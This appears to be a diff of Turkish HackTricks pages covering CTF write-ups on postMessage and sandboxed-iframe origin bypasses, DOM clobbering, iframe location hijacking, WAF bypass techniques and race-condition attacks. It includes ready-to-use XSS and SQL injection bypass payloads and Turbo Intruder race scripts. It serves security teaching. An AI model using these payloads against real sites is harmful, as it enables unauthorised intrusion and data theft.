Temelde bu zorlukta bir **izole iframe çalıştırılmaktadır** ve tam **yüklendikten sonra** **ebeveyn** sayfa **bir post** mesajı ile **bayrağı** **gönderecektir**.\
|
||||
Ancak, bu postmessage iletişimi **XSS'ye karşı savunmasızdır** (**iframe** JS kodu çalıştırabilir).
|
||||
Temelde bu zorlukta bir **izole iframe çalıştırılmaktadır** ve **yüklenir yüklenmez** **ebeveyn** sayfa **bayrakla** bir **post** mesajı **gönderecektir**.\
|
||||
Ancak, bu postmessage iletişimi **XSS'ye karşı savunmasızdır** (iframe JS kodu çalıştırabilir).
|
||||
|
||||
Bu nedenle, saldırganın amacı **ebeveynin iframe'i oluşturmasına izin vermek**, ancak **önce** **ebeveyn** sayfanın **hassas verileri** (**bayrak**) **göndermeden** **meşgul** tutmak ve **payload'ı iframe'e göndermektir**. **Ebeveyn meşgulken**, **iframe payload'ı çalıştırır** ve bu, **ebeveyn postmessage mesajını dinleyen ve bayrağı sızdıran** bir JS olacaktır.\
|
||||
Bu nedenle, saldırganın amacı **ebeveynin iframe'i oluşturmasına izin vermek**, ancak **önce** **ebeveyn** sayfanın **hassas verileri** (**bayrak**) **göndermesini** **meşgul tutmak** ve **payload'ı iframe'e göndermektir**. **Ebeveyn meşgulken**, **iframe payload'ı çalıştırır** ve bu, **ebeveyn postmessage mesajını dinleyen ve bayrağı sızdıran** bir JS olacaktır.\
|
||||
Sonunda, iframe payload'ı çalıştırır ve ebeveyn sayfa meşgul olmayı bırakır, böylece bayrağı gönderir ve payload onu sızdırır.
|
||||
|
||||
Ama ebeveyni **iframe'i oluşturduktan hemen sonra ve sadece iframe'in hassas verileri göndermeye hazır olmasını beklerken nasıl meşgul tutabilirsiniz?** Temelde, ebeveynin **çalıştırabileceği** bir **async** **hareket** bulmanız gerekiyor. Örneğin, bu zorlukta ebeveyn **postmessages** dinliyordu:
|
||||
@ -20,11 +20,11 @@ $("#previewModal").modal()
|
||||
}
|
||||
})
|
||||
```
|
||||
böylece, o karşılaştırmada **string'e dönüştürülecek bir postmessage'da büyük bir tam sayı göndermek** mümkün oldu, bu da biraz zaman alacaktır:
|
||||
bu nedenle, o karşılaştırmada **string'e dönüştürülecek bir postmessage'da büyük bir tam sayı göndermek** mümkün oldu, bu da biraz zaman alacaktır:
|
||||
```bash
|
||||
const buffer = new Uint8Array(1e7);
|
||||
win?.postMessage(buffer, '*', [buffer.buffer]);
|
||||
```
|
||||
Ve kesin olmak için, o **postmessage**'ı **iframe** oluşturulduktan hemen **sonra** ama ana sayfadan veri almaya **hazır** olmadan **göndermeniz** gerekecek, bu yüzden bir `setTimeout`'ın milisaniyeleriyle **oynamanız** gerekecek.
|
||||
Ve kesin olmak için, o **postmessage**'ı **iframe** oluşturulduktan hemen sonra ama ana sayfadan veri almaya hazır olmadan **göndermek** için, bir `setTimeout`'ın milisaniyeleriyle **oynamanız** gerekecek.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -23,18 +23,18 @@ Ana sorun, [**ana sayfanın**](https://so-xss.terjanq.me) `data.body` göndermek
|
||||
|
||||
`//example.org` bir **sandboxed iframe** içine yerleştirildiğinde, sayfanın **origin** değeri **`null`** olacaktır, yani **`window.origin === null`**. Bu nedenle, `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` ile iframe'i yerleştirerek **`null` origin** değerini **zorlayabiliriz**.
|
||||
|
||||
Eğer sayfa **gömülebilir** olsaydı, bu korumayı o şekilde bypass edebilirdiniz (çerezlerin de `SameSite=None` olarak ayarlanması gerekebilir).
|
||||
Eğer sayfa **gömülebilir** olsaydı, bu korumayı bu şekilde bypass edebilirdiniz (çerezlerin de `SameSite=None` olarak ayarlanması gerekebilir).
|
||||
|
||||
### SOP bypass 2 (window.origin === null)
|
||||
|
||||
Daha az bilinen bir gerçek, **sandbox değeri `allow-popups` olarak ayarlandığında** **açılan popup'ın** tüm **sandboxed özellikleri** **devralacağıdır**, `allow-popups-to-escape-sandbox` ayarlanmadığı sürece.\
|
||||
Daha az bilinen bir gerçek, **sandbox değeri `allow-popups` olarak ayarlandığında**, **açılan popup** tüm **sandboxed özellikleri** **devralacaktır**; `allow-popups-to-escape-sandbox` ayarlanmadıkça.\
|
||||
Bu nedenle, **null origin**'den bir **popup** açmak, popup içindeki **`window.origin`** değerinin de **`null`** olmasını sağlar.
|
||||
|
||||
### Challenge Solution
|
||||
|
||||
Bu nedenle, bu zorluk için, bir **iframe** **oluşturabilir**, **vulnerable XSS kod işleyicisine** (`/iframe.php`) bir popup açabiliriz, çünkü `window.origin === e.origin` her ikisi de `null` olduğundan **XSS'i istismar edecek bir payload göndermek** mümkündür.
|
||||
Bu nedenle, bu zorluk için, bir **iframe** **oluşturulabilir**, **vulnerable XSS kod işleyicisine** (`/iframe.php`) bir popup açılabilir; çünkü `window.origin === e.origin` her ikisi de `null` olduğundan, **XSS'i istismar edecek bir payload göndermek** mümkündür.
|
||||
|
||||
O **payload**, **identifier**'ı alacak ve **XSS**'i **üst sayfaya** (popup'ı açan sayfa) **geri gönderecektir**, **bu da** **vulnerable** `/iframe.php`'ye **konum değiştirecektir**. Identifier bilindiği için, `window.origin === e.origin` koşulunun sağlanmaması önemli değildir (unutmayın, origin **null** olan **iframe**'den gelen **popup**'dır) çünkü `data.identifier === identifier`. Böylece, **XSS tekrar tetiklenecektir**, bu sefer doğru origin'de.
|
||||
Bu **payload**, **identifier**'ı alacak ve **XSS**'i **üst sayfaya** (popup'ı açan sayfa) **geri gönderecektir**, **bu da** **vulnerable** `/iframe.php`'ye **konum değiştirecektir**. Identifier bilindiği için, `window.origin === e.origin` koşulunun sağlanmaması önemli değildir (unutmayın, origin **null** olan **iframe**'den gelen **popup**'dır) çünkü `data.identifier === identifier`. Böylece, **XSS tekrar tetiklenecektir**, bu sefer doğru origin'de.
|
||||
```html
|
||||
<body>
|
||||
<script>
|
||||
|
||||
@ -4,9 +4,9 @@
|
||||
|
||||
## Iframes in SOP-2
|
||||
|
||||
Bu [**çözüm**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) [**meydan okuma**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)** için,** [**@Strellic\_**](https://twitter.com/Strellic_) önceki bölümdeki benzer bir yöntemi öneriyor. Hadi kontrol edelim.
|
||||
Bu [**çözüm**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) [**meydan okuma**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic_) önceki bölümdeki benzer bir yöntemi öneriyor. Hadi kontrol edelim.
|
||||
|
||||
Bu meydan okumada saldırgan **bypass** etmesi gereken şey:
|
||||
Bu meydan okumada saldırganın **bypass** etmesi gereken şey:
|
||||
```javascript
|
||||
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
|
||||
```
|
||||
@ -16,7 +16,7 @@ Eğer yaparsa, sayfada **`innerHTML`** ile yazılacak HTML içeriği ile bir **p
|
||||
|
||||
- **`window.calc.contentWindow`** aslında **`document.getElementById("calc")`**'dır. **`document.getElementById`**'yi **`<img name=getElementById />`** ile bozabilirsiniz (Sanitizer API -[burada](https://wicg.github.io/sanitizer-api/#dom-clobbering)- varsayılan durumda DOM clobbering saldırılarına karşı koruma sağlamak için yapılandırılmamıştır).
|
||||
- Bu nedenle, **`document.getElementById("calc")`**'yi **`<img name=getElementById /><div id=calc></div>`** ile bozabilirsiniz. O zaman, **`window.calc`** **`undefined`** olacaktır.
|
||||
- Şimdi, **`e.source`**'un **`undefined`** veya **`null`** olması gerekiyor (çünkü `==` yerine `===` kullanıldığı için, **`null == undefined`** **`True`**'dur). Bunu elde etmek "kolaydır". Eğer bir **iframe** oluşturur ve ondan bir **postMessage** gönderirseniz ve hemen ardından iframe'i **kaldırırsanız**, **`e.origin`** **`null`** olacak. Aşağıdaki kodu kontrol edin.
|
||||
- Şimdi, **`e.source`**'un **`undefined`** veya **`null`** olması gerekiyor (çünkü `==` kullanıldığı için **`null == undefined`** **`True`**'dur). Bunu elde etmek "kolaydır". Eğer bir **iframe** oluşturur ve ondan bir **postMessage** gönderirseniz ve hemen **iframe**'i **kaldırırsanız**, **`e.origin`** **`null`** olacak. Aşağıdaki kodu kontrol edin.
|
||||
```javascript
|
||||
let iframe = document.createElement("iframe")
|
||||
document.body.appendChild(iframe)
|
||||
@ -28,9 +28,9 @@ document.body.removeChild(iframe) //e.origin === null
|
||||
**İkinci kontrolü** atlatmanın yolu, **`token`** değerini `null` olarak gönderip **`window.token`** değerini **`undefined`** yapmaktır:
|
||||
|
||||
- `null` değeri ile postMessage'de `token` göndermek basittir.
|
||||
- **`window.token`**, **`document.cookie`** kullanan **`getCookie`** fonksiyonunu çağırırken. **`null`** kökenli sayfalarda **`document.cookie`** erişimi herhangi bir **hata** tetikler. Bu, **`window.token`** değerinin **`undefined`** olmasına neden olur.
|
||||
- **`window.token`**, **`document.cookie`** kullanan **`getCookie`** fonksiyonunu çağırırken. **`null`** kökenli sayfalarda **`document.cookie`** erişiminin bir **hata** tetikleyeceğini unutmayın. Bu, **`window.token`** değerinin **`undefined`** olmasına neden olacaktır.
|
||||
|
||||
Son çözüm [**@terjanq**](https://twitter.com/terjanq) tarafından [**aşağıdaki**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html) gibidir:
|
||||
Son çözüm [**@terjanq**](https://twitter.com/terjanq) tarafından [**şudur**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
|
||||
@ -4,11 +4,11 @@
|
||||
|
||||
## Çocuk iframelerin konumlarını değiştirme
|
||||
|
||||
[**bu yazıya**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) göre, X-Frame-Header içermeyen bir web sayfasını iframe'leyebiliyorsanız ve bu sayfa başka bir iframe içeriyorsa, **o çocuk iframe'in konumunu değiştirebilirsiniz**.
|
||||
[**bu yazıya**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) göre, X-Frame-Header içermeyen bir web sayfasını iframe'leyebiliyorsanız ve bu sayfa başka bir iframe içeriyorsa, **o çocuk iframenin konumunu değiştirebilirsiniz**.
|
||||
|
||||
Örneğin, abc.com efg.com'u iframe olarak içeriyorsa ve abc.com X-Frame başlığına sahip değilse, efg.com'u evil.com olarak cross origin değiştirebilirim, **`frames.location`** kullanarak.
|
||||
|
||||
Bu, **postMessages** için özellikle faydalıdır çünkü bir sayfa, **wildcard** kullanarak hassas veriler gönderiyorsa `windowRef.postmessage("","*")`, **ilgili iframe'in (çocuk veya ebeveyn) konumunu bir saldırganın kontrolündeki bir konuma değiştirmek** ve bu veriyi çalmak mümkündür.
|
||||
Bu, **postMessages** için özellikle faydalıdır çünkü bir sayfa, **wildcard** kullanarak hassas veriler gönderiyorsa `windowRef.postmessage("","*")`, **ilgili iframenin (çocuk veya ebeveyn) konumunu bir saldırganın kontrolündeki bir konuma değiştirmek** ve bu veriyi çalmak mümkündür.
|
||||
```html
|
||||
<html>
|
||||
<iframe src="https://docs.google.com/document/ID" />
|
||||
|
||||
@ -62,7 +62,7 @@ include snippets/fastcgi-php.conf;
|
||||
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
|
||||
}
|
||||
```
|
||||
Nginx, `/admin.php` erişimini engelleyecek şekilde yapılandırılmıştır, ancak bu, `/admin.php/index.php` üzerinden erişim sağlayarak aşılabilir.
|
||||
Nginx, `/admin.php` erişimini engelleyecek şekilde yapılandırılmıştır, ancak bu, `/admin.php/index.php` adresine erişerek aşılabilir.
|
||||
|
||||
### Nasıl önlenir
|
||||
```plaintext
|
||||
@ -74,18 +74,18 @@ deny all;
|
||||
|
||||
### Yol Karışıklığı
|
||||
|
||||
[**Bu yazıda**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) ModSecurity v3'ün (3.0.12'ye kadar) erişilen yolu (parametrelerin başlangıcına kadar) içermesi gereken `REQUEST_FILENAME` değişkenini **yanlış bir şekilde uyguladığı** açıklanmaktadır. Bunun nedeni, yolu almak için bir URL çözümlemesi yapmasıdır.\
|
||||
Bu nedenle, mod security'de `http://example.com/foo%3f';alert(1);foo=` gibi bir istek, yolun sadece `/foo` olduğunu varsayacaktır çünkü `%3f` `?`'ya dönüştürülerek URL yolunu sonlandırır, ancak aslında sunucunun alacağı yol `/foo%3f';alert(1);foo=` olacaktır.
|
||||
[**Bu yazıda**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) ModSecurity v3'ün (3.0.12'ye kadar) **`REQUEST_FILENAME`** değişkenini yanlış bir şekilde uyguladığı açıklanmaktadır; bu değişken erişilen yolu (parametrelerin başlangıcına kadar) içermesi gerekiyordu. Bunun nedeni, yolu almak için bir URL çözümlemesi yapmasıdır.\
|
||||
Bu nedenle, mod güvenlikte `http://example.com/foo%3f';alert(1);foo=` gibi bir istek, yolun sadece `/foo` olduğunu varsayacaktır çünkü `%3f` `?`'ya dönüştürülerek URL yolunu sonlandırır, ancak aslında sunucunun alacağı yol `/foo%3f';alert(1);foo=` olacaktır.
|
||||
|
||||
`REQUEST_BASENAME` ve `PATH_INFO` değişkenleri de bu hatadan etkilenmiştir.
|
||||
|
||||
Mod Security'nin 2. versiyonunda benzer bir durum meydana gelmiş ve yedek dosyalarıyla ilgili belirli uzantılara sahip dosyalara erişimi engelleyen bir korumayı aşmak mümkün olmuştur (örneğin `.bak` gibi) sadece noktayı `%2e` ile URL kodlayarak göndererek, örneğin: `https://example.com/backup%2ebak`.
|
||||
Mod Security'nin 2. versiyonunda benzer bir durum meydana gelmiş ve yedek dosyalarla ilgili belirli uzantılara sahip dosyalara erişimi engelleyen bir korumayı aşmayı mümkün kılmıştır (örneğin `.bak` gibi) sadece noktanın `%2e` olarak URL kodlanarak gönderilmesiyle, örneğin: `https://example.com/backup%2ebak`.
|
||||
|
||||
## AWS WAF ACL'yi Bypass Etme <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
|
||||
### Bozuk Başlık
|
||||
|
||||
[Bu araştırma](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies), AWS'nin düzgün bir şekilde ayrıştırmadığı ancak arka uç sunucusu tarafından ayrıştırılan "bozuk" bir başlık göndererek AWS WAF kurallarını HTTP başlıkları üzerinde aşmanın mümkün olduğunu belirtmektedir.
|
||||
[Bu araştırma](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies), AWS'nin düzgün bir şekilde ayrıştırmadığı ancak arka uç sunucusu tarafından ayrıştırılan "bozuk" bir başlık göndererek AWS WAF kurallarını aşmanın mümkün olduğunu belirtmektedir.
|
||||
|
||||
Örneğin, X-Query başlığında bir SQL enjeksiyonu ile aşağıdaki isteği göndermek:
|
||||
```http
|
||||
@ -102,15 +102,15 @@ AWS WAF'ı atlatmak mümkündü çünkü bir sonraki satırın başlığın değ
|
||||
|
||||
### İstek Boyutu Sınırları
|
||||
|
||||
Genellikle WAF'ların kontrol etmek için belirli bir istek uzunluğu sınırı vardır ve eğer bir POST/PUT/PATCH isteği bu sınırı aşarsa, WAF isteği kontrol etmez.
|
||||
Genellikle WAF'ların kontrol edeceği belirli bir istek uzunluğu sınırı vardır ve eğer bir POST/PUT/PATCH isteği bu sınırı aşarsa, WAF isteği kontrol etmez.
|
||||
|
||||
- AWS WAF için [**belgelere göz atabilirsiniz**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
|
||||
- AWS WAF için, [**belgelere göz atabilirsiniz**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Uygulama Yük Dengeleyici ve AWS AppSync korumaları için incelenebilecek bir web isteği gövdesinin maksimum boyutu</td><td>8 KB</td></tr><tr><td>CloudFront, API Gateway, Amazon Cognito, App Runner ve Doğrulanmış Erişim korumaları için incelenebilecek bir web isteği gövdesinin maksimum boyutu**</td><td>64 KB</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Application Load Balancer ve AWS AppSync korumaları için incelenebilecek maksimum web istek gövde boyutu</td><td>8 KB</td></tr><tr><td>CloudFront, API Gateway, Amazon Cognito, App Runner ve Verified Access korumaları için incelenebilecek maksimum web istek gövde boyutu**</td><td>64 KB</td></tr></tbody></table>
|
||||
|
||||
- [**Azure belgelerinden**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
|
||||
|
||||
Core Rule Set 3.1 (veya daha düşük) olan eski Web Uygulama Güvenlik Duvarları, istek gövdesi incelemesini kapatarak **128 KB**'dan büyük mesajlara izin verir, ancak bu mesajlar güvenlik açıkları için kontrol edilmeyecektir. Daha yeni sürümler (Core Rule Set 3.2 veya daha yenisi) için, maksimum istek gövdesi sınırını devre dışı bırakarak aynı şey yapılabilir. Bir istek boyut sınırını aşarsa:
|
||||
Core Rule Set 3.1 (veya daha düşük) olan eski Web Uygulama Güvenlik Duvarları, istek gövde denetimini kapatarak **128 KB**'dan büyük mesajlara izin verir, ancak bu mesajlar güvenlik açıkları için kontrol edilmeyecektir. Daha yeni sürümler (Core Rule Set 3.2 veya daha yeni) için, maksimum istek gövde sınırını devre dışı bırakarak aynı şey yapılabilir. Bir istek boyut sınırını aşarsa:
|
||||
|
||||
Eğer **önleme modu**: İsteği kaydeder ve engeller.\
|
||||
Eğer **tespit modu**: Sınır kadar inceler, geri kalanını göz ardı eder ve `Content-Length` sınırı aşarsa kaydeder.
|
||||
@ -143,13 +143,13 @@ Unicode normalizasyonunun uygulanmasına bağlı olarak (daha fazla bilgi [burad
|
||||
```
|
||||
### Bağlamsal WAF'ları Kodlamalarla Aşma <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
|
||||
[**bu blog yazısında**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) belirtildiği gibi, kullanıcı girdisinin bağlamını koruyabilen WAF'ları aşmak için WAF tekniklerini kullanıcı girdisini normalize etmek amacıyla kötüye kullanabiliriz.
|
||||
[**bu blog yazısında**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) belirtildiği gibi, kullanıcı girdisinin bağlamını koruyabilen WAF'ları aşmak için WAF tekniklerini kullanarak kullanıcı girdisini normalize edebiliriz.
|
||||
|
||||
Örneğin, yazıda **Akamai'nin bir kullanıcı girdisini 10 kez URL kodladığı** belirtiliyor. Bu nedenle `<input/%2525252525252525253e/onfocus` gibi bir şey Akamai tarafından `<input/>/onfocus` olarak görülecek ve **etiket kapandığı için bunun sorun olmadığını düşünebilir**. Ancak, uygulama girdiyi 10 kez URL kodlamadıkça, kurban `<input/%25252525252525253e/onfocus` gibi bir şey görecek ve bu **hala bir XSS saldırısı için geçerli**.
|
||||
Örneğin, yazıda **Akamai bir kullanıcı girdisini 10 kez URL kodlamış** olduğu belirtiliyor. Bu nedenle `<input/%2525252525252525253e/onfocus` gibi bir şey Akamai tarafından `<input/>/onfocus` olarak görülecek ve **etiketin kapandığını düşündüğü için bunun sorun olmadığını düşünebilir**. Ancak, uygulama girdiyi 10 kez URL kodlamadıkça, kurban `<input/%25252525252525253e/onfocus` gibi bir şey görecek ve bu **hala bir XSS saldırısı için geçerli** olacaktır.
|
||||
|
||||
Bu nedenle, bu durum **WAF'ın kodlayıp yorumlayacağı, kurbanın ise göremeyeceği kodlanmış bileşenlerde yükleri gizlemeye** olanak tanır.
|
||||
|
||||
Ayrıca, bu sadece URL kodlu yüklerle değil, aynı zamanda unicode, hex, octal gibi diğer kodlamalarla da yapılabilir...
|
||||
Ayrıca, bu sadece URL kodlanmış yüklerle değil, aynı zamanda unicode, hex, oktal gibi diğer kodlamalarla da yapılabilir...
|
||||
|
||||
Yazıda aşağıdaki son aşma yöntemleri önerilmektedir:
|
||||
|
||||
@ -158,7 +158,7 @@ Yazıda aşağıdaki son aşma yöntemleri önerilmektedir:
|
||||
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
|
||||
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
|
||||
|
||||
Ayrıca, **bazı WAF'ların kullanıcı girdisinin bağlamını nasıl anladığına** bağlı olarak bunu kötüye kullanmanın mümkün olabileceği de belirtiliyor. Blogda önerilen örnek, Akamai'nin `/*` ve `*/` arasında herhangi bir şey koymaya izin verdiğidir (muhtemelen bu, genellikle yorumlar olarak kullanıldığı için). Bu nedenle, `/*'or sleep(5)-- -*/` gibi bir SQL enjeksiyonu yakalanmayacak ve `/*` enjeksiyonun başlangıç dizesi ve `*/` yorumlandığı için geçerli olacaktır.
|
||||
Ayrıca, **bazı WAF'ların kullanıcı girdisinin bağlamını nasıl anladığına bağlı olarak** bunu kötüye kullanmanın mümkün olabileceği belirtiliyor. Blogda önerilen örnek, Akamai'nin `/*` ve `*/` arasında herhangi bir şey koymaya izin vermesidir (potansiyel olarak bu, genellikle yorumlar olarak kullanıldığı için). Bu nedenle, `/*'or sleep(5)-- -*/` gibi bir SQL enjeksiyonu yakalanmayacak ve `/*` enjeksiyonun başlangıç dizesi ve `*/` yorumlandığı için geçerli olacaktır.
|
||||
|
||||
Bu tür bağlam sorunları, WAF tarafından istismar edilmesi beklenen **diğer zayıflıkları kötüye kullanmak için de** kullanılabilir (örneğin, bu bir XSS'i istismar etmek için de kullanılabilir).
|
||||
|
||||
@ -168,12 +168,12 @@ Bu tür bağlam sorunları, WAF tarafından istismar edilmesi beklenen **diğer
|
||||
h2c-smuggling.md
|
||||
{{#endref}}
|
||||
|
||||
### IP Rotasyonu <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
### IP Dönüşümü <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
|
||||
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): ffuf ile kullanılmak üzere bir API geçidi URL'si oluşturur
|
||||
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): fireprox'a benzer
|
||||
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): API geçidi IP'lerini kullanan Burp Suite eklentisi
|
||||
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Girdi dosyası boyutuna ve bölme faktörüne dayalı olarak dinamik olarak belirlenen bir dizi konteyner örneği etkinleştirilir, girdi parçalar halinde paralel yürütme için bölünür, örneğin 10,000 satırlık bir girdi dosyasından 100 parçayı işleyen 100 örnek.
|
||||
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Girdi dosyası boyutuna ve bölme faktörüne dayalı olarak dinamik olarak belirlenen bir konteyner örneği sayısı etkinleştirilir, girdi parçalar halinde paralel yürütme için bölünür; örneğin, 10,000 satırlık bir girdi dosyasından 100 satırlık bir bölme faktörü ile 100 örnek 100 parçayı işler.
|
||||
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
|
||||
|
||||
### Regex Aşmaları
|
||||
|
||||
@ -13,8 +13,8 @@ Yarış koşullarından yararlanmanın ana engeli, birden fazla isteğin **işle
|
||||
|
||||
#### HTTP/2 Tek Paket Saldırısı vs. HTTP/1.1 Son Bayt Senkronizasyonu
|
||||
|
||||
- **HTTP/2**: Tek bir TCP bağlantısı üzerinden iki isteğin gönderilmesini destekler, ağ jitter etkisini azaltır. Ancak, sunucu tarafındaki varyasyonlar nedeniyle, iki istek tutarlı bir yarış koşulu istismarına yeterli olmayabilir.
|
||||
- **HTTP/1.1 'Son Bayt Senkronizasyonu'**: 20-30 isteğin çoğu kısmının önceden gönderilmesini sağlar, küçük bir parçayı saklayarak, bu parça daha sonra birlikte gönderilir ve sunucuya eşzamanlı varış sağlanır.
|
||||
- **HTTP/2**: Tek bir TCP bağlantısı üzerinden iki isteğin gönderilmesini destekler, ağ jitter etkisini azaltır. Ancak, sunucu tarafındaki değişkenlikler nedeniyle, iki istek tutarlı bir yarış koşulu istismarına yeterli olmayabilir.
|
||||
- **HTTP/1.1 'Son Bayt Senkronizasyonu'**: 20-30 isteğin çoğu kısmının önceden gönderilmesini sağlar, küçük bir parçayı saklayarak, bu parçanın birlikte gönderilmesiyle sunucuya eşzamanlı varış elde edilir.
|
||||
|
||||
**Son Bayt Senkronizasyonu için Hazırlık** şunları içerir:
|
||||
|
||||
@ -31,11 +31,11 @@ Hedefin mimarisini anlamak çok önemlidir. Ön uç sunucular, istekleri farklı
|
||||
|
||||
#### Oturum Tabanlı Kilitlemeyi Yönetme
|
||||
|
||||
PHP'nin oturum yöneticisi gibi çerçeveler, istekleri oturum bazında serileştirir ve potansiyel olarak zayıflıkları gizleyebilir. Her istek için farklı oturum jetonları kullanmak bu sorunu aşabilir.
|
||||
PHP'nin oturum yöneticisi gibi çerçeveler, istekleri oturum bazında serileştirir ve bu da zayıflıkları gizleyebilir. Her istek için farklı oturum jetonları kullanmak bu sorunu aşabilir.
|
||||
|
||||
#### Hız veya Kaynak Sınırlamalarını Aşma
|
||||
|
||||
Bağlantı ısıtma etkili değilse, web sunucularının hız veya kaynak sınırlama gecikmelerini kasıtlı olarak sahte isteklerle tetiklemek, sunucu tarafında yarış koşullarına uygun bir gecikme oluşturarak tek paket saldırısını kolaylaştırabilir.
|
||||
Bağlantı ısıtma etkili değilse, web sunucularının hız veya kaynak sınırlama gecikmelerini kasıtlı olarak sahte isteklerle tetiklemek, yarış koşullarına uygun bir sunucu tarafı gecikmesi oluşturarak tek paket saldırısını kolaylaştırabilir.
|
||||
|
||||
## Saldırı Örnekleri
|
||||
|
||||
@ -52,7 +52,7 @@ engine.queue(target.req, password, gate='race1')
|
||||
> [!WARNING]
|
||||
> Eğer web HTTP2'yi desteklemiyorsa (sadece HTTP1.1) `Engine.THREADED` veya `Engine.BURP` kullanın, `Engine.BURP2` yerine.
|
||||
|
||||
- **Tubo Intruder - HTTP2 tek paketli saldırı (Birçok uç nokta)**: Eğer 1 uç noktaya bir istek göndermeniz ve ardından RCE'yi tetiklemek için diğer uç noktalara birden fazla istek göndermeniz gerekiyorsa, `race-single-packet-attack.py` scriptini şu şekilde değiştirebilirsiniz:
|
||||
- **Tubo Intruder - HTTP2 tek paket saldırısı (Birçok uç nokta)**: Eğer 1 uç noktaya bir istek göndermeniz ve ardından RCE'yi tetiklemek için diğer uç noktalara birden fazla istek göndermeniz gerekiyorsa, `race-single-packet-attack.py` scriptini şu şekilde değiştirebilirsiniz:
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
@ -91,7 +91,7 @@ engine.openGate(currentAttempt)
|
||||
|
||||
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Otomatik python scripti**: Bu scriptin amacı, bir kullanıcının e-posta adresini değiştirmek ve yeni e-posta adresinin doğrulama tokeni son e-posta adresine ulaşana kadar sürekli olarak doğrulamaktır (bu, kodda bir e-posta adresinin değiştirilip doğrulamanın eski adrese gönderilebildiği bir RC görüldüğü için olmuştur çünkü e-posta adresini gösteren değişken zaten ilk e-posta ile doldurulmuştu).\
|
||||
- **Otomatik python scripti**: Bu scriptin amacı, bir kullanıcının e-posta adresini değiştirmek ve yeni e-posta adresinin doğrulama tokeni son e-posta adresine ulaşana kadar sürekli olarak doğrulamaktır (bu, kodda bir e-posta adresinin değiştirilip doğrulamanın eski adrese gönderilebildiği bir RC görüldüğü için yapılmıştır çünkü e-posta adresini gösteren değişken zaten ilk e-posta ile doldurulmuştu).\
|
||||
"objetivo" kelimesi alınan e-postalarda bulunduğunda, değiştirilmiş e-posta adresinin doğrulama tokenini aldığımızı biliyoruz ve saldırıyı sonlandırıyoruz.
|
||||
```python
|
||||
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
|
||||
@ -228,7 +228,7 @@ Bu tekniği kullanan bazı örnekleri repoda bulabilirsiniz [https://github.com/
|
||||
|
||||
## Ham BF
|
||||
|
||||
Önceki araştırmadan önce, sadece paketleri mümkün olduğunca hızlı göndermeye çalışan bazı yükler kullanılıyordu.
|
||||
Önceki araştırmadan önce, sadece paketleri mümkün olduğunca hızlı göndermeye çalışan bazı yükler kullanılmıştır.
|
||||
|
||||
- **Tekrarlayıcı:** Önceki bölümden örneklere bakın.
|
||||
- **Saldırgan**: **İsteği** **Saldırgana** gönderin, **Seçenekler menüsünde** **iş parçacığı sayısını** **30** olarak ayarlayın ve yük olarak **Null yükleri** seçin ve **30** oluşturun.
|
||||
@ -283,13 +283,13 @@ asyncio.run(main())
|
||||
|
||||
### Limit-aşımı / TOCTOU
|
||||
|
||||
Bu, **hareketi gerçekleştirebileceğiniz zaman sayısını sınırlayan** yerlerde **görünürlüklerin** **ortaya çıktığı** en temel yarış durumu türüdür. Örneğin, bir web mağazasında aynı indirim kodunu birkaç kez kullanmak. Çok basit bir örnek [**bu raporda**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) veya [**bu hatada**](https://hackerone.com/reports/759247)**.**
|
||||
